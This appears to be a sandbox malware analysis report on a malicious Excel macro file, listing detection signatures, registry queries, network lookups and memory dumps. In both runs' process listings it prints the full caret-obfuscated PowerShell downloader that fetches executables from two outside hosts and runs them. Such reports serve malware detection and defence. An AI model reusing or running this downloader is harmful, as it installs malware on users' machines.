Analysis Overview
SHA256
522821904c650085320f9a9f229b69b9d61dd96cb5ea30782f62726f3dabf595
Threat Level: Known bad
The file 522821904c650085320f9a9f229b69b9d61dd96cb5ea30782f62726f3dabf595 was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Office macro that triggers on suspicious action
Blocklisted process makes network request
Suspicious Office macro
Command and Scripting Interpreter: PowerShell
Office loads VBA resources, possible macro or embedded object present
Suspicious use of SetWindowsHookEx
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: EnumeratesProcesses
Enumerates system info in registry
Checks processor information in registry
Suspicious behavior: AddClipboardFormatListener
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-07-22 22:18
Signatures
Office macro that triggers on suspicious action
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Suspicious Office macro
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral2
Detonation Overview
Submitted
2024-07-22 22:18
Reported
2024-07-22 22:19
Platform
win10v2004-20240704-en
Max time kernel
47s
Max time network
38s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SYSTEM32\CMd.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1248 wrote to memory of 348 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\CMd.exe |
| PID 1248 wrote to memory of 348 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\CMd.exe |
| PID 348 wrote to memory of 2468 | N/A | C:\Windows\SYSTEM32\CMd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 348 wrote to memory of 2468 | N/A | C:\Windows\SYSTEM32\CMd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\522821904c650085320f9a9f229b69b9d61dd96cb5ea30782f62726f3dabf595.xls"
C:\Windows\SYSTEM32\CMd.exe
CMd.exe /c "p^ow^Ers^hel^l^.e^xe^ -nO^l -No^Ni^Nt^ -W^IndOws^ 1 -NoprOFIle^ -ex^Ec^u B^Ypa^S^s -Wi^ 1 -N^O^Pr^ $random = N^ew-^O^b^je^ct^ Sy^st^em.^Ran^do^m; Fo^rea^ch($um in @({http://berurn.com/videos.exe},{http://rejmed.cz/tmp/visa.exe})) { t^ry { $fg = $ra^n^do^m.n^e^xt(0, 61132); $pp = '%appdata%\' + $fg + '.exe'; ^(^ne^w-^ob^jec^t s^ys^t^e^m.ne^t^.webcli^en^t)^.D^ow^nl^o^ad^Fi^le($um.ToString(), $pp); St^a^rt-^Pr^oce^ss $pp; b^re^ak; } c^at^ch { Wr^it^e-Ho^st $err^or[0].E^x^cep^ti^on } }"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powErshell.exe -nOl -NoNiNt -WIndOws 1 -NoprOFIle -exEcu BYpaSs -Wi 1 -NOPr $random = New-Object System.Random; Foreach($um in @({http://berurn.com/videos.exe},{http://rejmed.cz/tmp/visa.exe})) { try { $fg = $random.next(0, 61132); $pp = 'C:\Users\Admin\AppData\Roaming\' + $fg + '.exe'; (new-object system.net.webclient).DownloadFile($um.ToString(), $pp); Start-Process $pp; break; } catch { Write-Host $error[0].Exception } }
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 46.28.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 217.106.137.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| IE | 52.109.76.243:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | 243.76.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 20.160.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | berurn.com | udp |
| US | 8.8.8.8:53 | rejmed.cz | udp |
| CZ | 109.123.223.100:80 | rejmed.cz | tcp |
| US | 8.8.8.8:53 | 100.223.123.109.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.58.199.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 92.16.208.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.86.106.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 86.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
Files
memory/1248-0-0x00007FFE621D0000-0x00007FFE621E0000-memory.dmp
memory/1248-2-0x00007FFE621D0000-0x00007FFE621E0000-memory.dmp
memory/1248-1-0x00007FFE621D0000-0x00007FFE621E0000-memory.dmp
memory/1248-4-0x00007FFE621D0000-0x00007FFE621E0000-memory.dmp
memory/1248-3-0x00007FFE621D0000-0x00007FFE621E0000-memory.dmp
memory/1248-5-0x00007FFEA21ED000-0x00007FFEA21EE000-memory.dmp
memory/1248-6-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp
memory/1248-8-0x00007FFE5FFB0000-0x00007FFE5FFC0000-memory.dmp
memory/1248-7-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp
memory/1248-9-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp
memory/1248-11-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp
memory/1248-10-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp
memory/1248-12-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp
memory/1248-17-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp
memory/1248-16-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp
memory/1248-18-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp
memory/1248-19-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp
memory/1248-15-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp
memory/1248-14-0x00007FFE5FFB0000-0x00007FFE5FFC0000-memory.dmp
memory/1248-13-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp
memory/1248-99-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uv5wtgws.0vu.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2468-531-0x000001E8C4690000-0x000001E8C46B2000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
| MD5 | c094e7aa8ea9555a3e92c1587730db5c |
| SHA1 | c509e0eb96cba7a5161c98d305d8a6748b9b0f8f |
| SHA256 | c8e7e1b5e887eae48d35fb270a7ef6dbd20fd82bd705b7dd8b79c9a4906c382a |
| SHA512 | e6a40766f4778e2536f1c4ce6184048533d71c7bbe5d1af8a9ad84ec86d32d83ab94e4743990fbf028f5999787910ab0a44e3e4969fce975a982ab11d3b5563e |
memory/1248-546-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp
Analysis: behavioral1
Detonation Overview
Submitted
2024-07-22 22:18
Reported
2024-07-22 22:19
Platform
win7-20240705-en
Max time kernel
26s
Max time network
17s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\CMd.exe | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\522821904c650085320f9a9f229b69b9d61dd96cb5ea30782f62726f3dabf595.xls
C:\Windows\SysWOW64\CMd.exe
CMd.exe /c "p^ow^Ers^hel^l^.e^xe^ -nO^l -No^Ni^Nt^ -W^IndOws^ 1 -NoprOFIle^ -ex^Ec^u B^Ypa^S^s -Wi^ 1 -N^O^Pr^ $random = N^ew-^O^b^je^ct^ Sy^st^em.^Ran^do^m; Fo^rea^ch($um in @({http://berurn.com/videos.exe},{http://rejmed.cz/tmp/visa.exe})) { t^ry { $fg = $ra^n^do^m.n^e^xt(0, 61132); $pp = '%appdata%\' + $fg + '.exe'; ^(^ne^w-^ob^jec^t s^ys^t^e^m.ne^t^.webcli^en^t)^.D^ow^nl^o^ad^Fi^le($um.ToString(), $pp); St^a^rt-^Pr^oce^ss $pp; b^re^ak; } c^at^ch { Wr^it^e-Ho^st $err^or[0].E^x^cep^ti^on } }"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powErshell.exe -nOl -NoNiNt -WIndOws 1 -NoprOFIle -exEcu BYpaSs -Wi 1 -NOPr $random = New-Object System.Random; Foreach($um in @({http://berurn.com/videos.exe},{http://rejmed.cz/tmp/visa.exe})) { try { $fg = $random.next(0, 61132); $pp = 'C:\Users\Admin\AppData\Roaming\' + $fg + '.exe'; (new-object system.net.webclient).DownloadFile($um.ToString(), $pp); Start-Process $pp; break; } catch { Write-Host $error[0].Exception } }
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | berurn.com | udp |
| US | 8.8.8.8:53 | rejmed.cz | udp |
| CZ | 109.123.223.100:80 | rejmed.cz | tcp |
Files
memory/1732-1-0x0000000071DBD000-0x0000000071DC8000-memory.dmp
memory/1732-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/1732-4-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-3-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-2-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-5-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-45-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-6-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-33-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-31-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-28-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-67-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-75-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-87-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-96-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-7-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-306-0x00000000066B0000-0x00000000067B0000-memory.dmp
memory/1732-305-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-109-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-108-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-107-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-97-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-95-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-94-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-93-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-92-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-91-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-90-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-89-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-88-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-86-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-76-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-74-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-73-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-72-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-71-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-70-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-69-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-68-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-66-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-65-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-55-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-54-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-53-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-52-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-51-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-50-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-49-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-48-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-47-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-46-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-44-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-34-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-32-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-30-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-29-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-27-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-26-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-25-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-24-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-23-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-13-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-12-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-11-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-10-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-9-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-8-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-468-0x0000000071DBD000-0x0000000071DC8000-memory.dmp
memory/1732-469-0x0000000000450000-0x0000000000550000-memory.dmp
memory/1732-470-0x00000000066B0000-0x00000000067B0000-memory.dmp